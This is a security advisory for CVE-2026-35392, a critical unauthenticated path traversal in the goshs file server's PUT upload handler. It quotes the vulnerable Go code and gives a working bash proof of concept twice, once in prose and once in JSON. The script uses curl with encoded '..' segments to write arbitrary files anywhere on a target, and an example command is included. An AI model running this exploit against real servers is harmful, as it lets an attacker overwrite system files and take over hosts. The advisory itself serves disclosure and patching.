GHSA-G8MV-VP7J-QP64
Vulnerability from github – Published: 2026-04-03 04:07 – Updated: 2026-04-06 23:43
VLAI?
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
Details
Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
Severity ?
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/patrickhener/goshs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.5-0.20260401172448-237f3af891a9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35392"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T04:07:55Z",
"nvd_published_at": "2026-04-06T21:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /\u003cpath\u003e` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n upath := req.URL.Path // unsanitized\n\n filename := strings.Split(upath, \"/\")\n outName := filename[len(filename)-1]\n\n targetpath := strings.Split(upath, \"/\")\n targetpath = targetpath[:len(targetpath)-1]\n target := strings.Join(targetpath, \"/\")\n\n savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n // ...\n os.Create(savepath) // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nLOCAL_FILE=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nTARGET=\"${4:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n echo \"[-] Local file not found: $LOCAL_FILE\"\n exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source: ${LOCAL_FILE}\"\necho \"[*] Target: ${TARGET}\"\necho \"[*] PUT: ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n --path-as-is \\\n -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
"id": "GHSA-g8mv-vp7j-qp64",
"modified": "2026-04-06T23:43:45Z",
"published": "2026-04-03T04:07:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35392"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickhener/goshs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) in goshs PUT Upload"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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